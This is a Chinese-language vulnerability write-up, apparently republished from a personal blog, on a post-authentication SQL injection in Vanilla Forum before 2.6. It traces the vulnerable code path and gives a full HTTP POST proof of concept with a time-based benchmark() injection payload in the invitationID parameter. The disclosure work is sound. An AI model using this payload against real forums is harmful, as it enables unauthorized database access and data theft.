内容简介:该漏洞是四月份我在h1上挖到的,Vanilla是国外的一个论坛程序,是一款开源的PHP程序。github地址为:https://github.com/vanilla/vanilla在Vanilla Forum 2.6之前,存在一个SQL注入漏洞,攻击者只需要注册登录一个会员即可利用该漏洞。
简介
该漏洞是四月份我在h1上挖到的, 原文 是英文,为了方便分享,我重新写成中文并发表在博客上。
Vanilla是国外的一个论坛程序,是一款开源的 PHP 程序。github地址为:https://github.com/vanilla/vanilla
在Vanilla Forum 2.6之前,存在一个 SQL 注入漏洞,攻击者只需要注册登录一个会员即可利用该漏洞。
漏洞分析
首先在applications/dashboard/controllers/class.profilecontroller.php:274
public function deleteInvitation($invitationID) { $this->permission('Garden.SignIn.Allow'); if (!$this->Form->authenticatedPostBack()) { throw forbiddenException('GET'); } $invitationModel = new InvitationModel(); $invitationModel->delete($invitationID); $this->informMessage(t('The invitation was removed successfully.')); $this->jsonTarget(".js-invitation[data-id=\"{$invitationID}\"]", '', 'SlideUp'); $this->render('Blank', 'Utility'); }
这个函数有个形参$invitationID,这个值其实是我们通过URL传递进来的,是我们可控的,并且这里需要注意的是,该值是可以为一个数组。
首先该函数第一行判断了权限,需要登录。
第二行是一个csrf token的判断,利用这个漏洞不能直接发POST包。
然后下面就到了关键的地方,可以看到这里将$invitationID带入到了delete函数中,我们跟踪一下该函数。
applications/dashboard/models/class.invitationmodel.php:225
public function delete($where = [], $options = []) { if (is_numeric($where)) { deprecated('InvitationModel->delete(int)', 'InvitationModel->deleteID(int)'); $result = $this->deleteID($where, $options); return $result; } parent::delete($where, $options); }
这里的参数$where就是我们上文的$invitationID,是可控的,然后这里又将$where带入到了另外一个delete函数中,继续追踪。
public function delete($where = [], $options = []) { if (is_numeric($where)) { deprecated('Gdn_Model->delete(int)', 'Gdn_Model->deleteID()'); $where = [$this->PrimaryKey => $where]; } $resetData = false; if ($options === true || val('reset', $options)) { deprecated('Gdn_Model->delete() with reset true'); $resetData = true; } elseif (is_numeric($options)) { deprecated('The $limit parameter is deprecated in Gdn_Model->delete(). Use the limit option.'); $limit = $options; } else { $options += ['rest' => true, 'limit' => null]; $limit = $options['limit']; } if ($resetData) { $result = $this->SQL->delete($this->Name, $where, $limit); } else { $result = $this->SQL->noReset()->delete($this->Name, $where, $limit); } return $result; }
然后该函数中又将$where带入到了$this->SQL->noReset()->delete函数中,继续追踪。
library/database/class.sqldriver.php:333
public function delete($table = '', $where = '', $limit = false) { if ($table == '') { if (!isset($this->_Froms[0])) { return false; } $table = $this->_Froms[0]; } elseif (is_array($table)) { foreach ($table as $t) { $this->delete($t, $where, $limit, false); } return; } else { $table = $this->escapeIdentifier($this->Database->DatabasePrefix.$table); } if ($where != '') { $this->where($where); } if ($limit !== false) { $this->limit($limit); } if (count($this->_Wheres) == 0) { return false; } $sql = $this->getDelete($table, $this->_Wheres, $this->_Limit); return $this->query($sql, 'delete'); }
该函数中对我们传递进来的$where有个判断和操作,如果不为空,就带入到where函数中去,跟踪一下该函数。
public function where($field, $value = null, $escapeFieldSql = true, $escapeValueSql = true) { if (!is_array($field)) { $field = [$field => $value]; } foreach ($field as $subField => $subValue) { if (is_array($subValue)) { if (count($subValue) == 1) { $firstVal = reset($subValue); $this->where($subField, $firstVal); } else { $this->whereIn($subField, $subValue); } } else { $whereExpr = $this->conditionExpr($subField, $subValue, $escapeFieldSql, $escapeValueSql); if (strlen($whereExpr) > 0) { $this->_where($whereExpr); } } } return $this; }
这里其实就是一个组装where语句的函数,由于$where我们可控制,导致这里组装后的where语句的字段处也可以控制,所以就产生了一个SQL注入漏洞。
漏洞证明
- 该漏洞利用需要用户登陆,因为是论坛,所以注册登录不是什么难事。
- 开头提了一下,由于有CSRF TOKEN的校验,所以不能直接发POST包,但是我们可以随便点击论坛一个正常的POST请求,然后用Burpsuite来改即可。
- 这里我使用的是延时注入,用的是benchmark函数。不同环境的延时时间也不一样的。
附上POC:
POST /profile/deleteInvitation?invitationID[1%3dbenchmark(40000000,sha(1))+and+1]=balisong HTTP/1.1 Host: localhost Content-Length: 29 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/javascript, */*; q=0.01 Origin: http://localhost X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://localhost/profile/ Accept-Language: zh-CN,zh;q=0.9 Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MjkyMDE2NTAsImlhdCI6MTUyNjYwOTY1MCwic3ViIjo3fQ.of1gk2CHyzeomQNSMWz_8WXXi_FfCwKxyctVWZlemKI; Vanilla-Vv=1526609650; Vanilla-tk=caEyM0dSVZC0xDhU%3A7%3A1526609650%3Ab23a6efff2dd9f026ffa87db10ba4119 Connection: close TransientKey=caEyM0dSVZC0xDhU
然后这里延时了9秒。如图所示:
结语
其实这种漏洞很常见,很多程序在处理SQL语句的时候,都采用的这种写法,当然这种写法是没错的。主要还是因为开发人员太信任外部的输入了。
该程序在该版本相同类型的漏洞还有一个,大家有兴趣的话可以自己找一找。(当然我已经提交给厂商啦。)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。